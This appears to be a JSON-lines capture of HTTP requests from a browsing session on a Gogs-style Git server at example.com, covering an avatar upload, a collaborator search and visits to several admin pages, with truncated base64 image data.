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 truncated
|
|
||||||
{"method": "GET", "target": "/user/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US; flash=success%3DYour%2Bavatar%2Bhas%2Bbeen%2Bupdated."], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/user/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/settings/avatar", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 4377", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykD1bO7T1SED3rJ5v", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundarykD1bO7T1SED3rJ5v\r\nContent-Disposition: form-data; name=\"avatar\"; filename=\"avatar.png\"\r\nContent-Type: image/png\r\n\r\n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 truncated
|
|
||||||
{"method": "GET", "target": "/alice/tools/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US; flash=success%3DThe%2Brepository%2Bavatar%2Bhas%2Bbeen%2Bupdated."], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/settings/collaboration", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/search_candidates?q=bob", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "X-Requested-With: XMLHttpRequest", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/4b9bb80620f03eb3719e0a061c14283d", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/search_candidates?q=bob", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/settings/applications", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/users", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/users?q=bob", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/emails", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/emails?q=example.com", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/orgs", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/repos", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/repos?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/packages", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/auths", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/config", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/config/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/monitor/stats", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/monitor/queue", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/monitor/cron", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/hooks", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/img/gogs.ico", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/img/feishu.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/img/slack.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
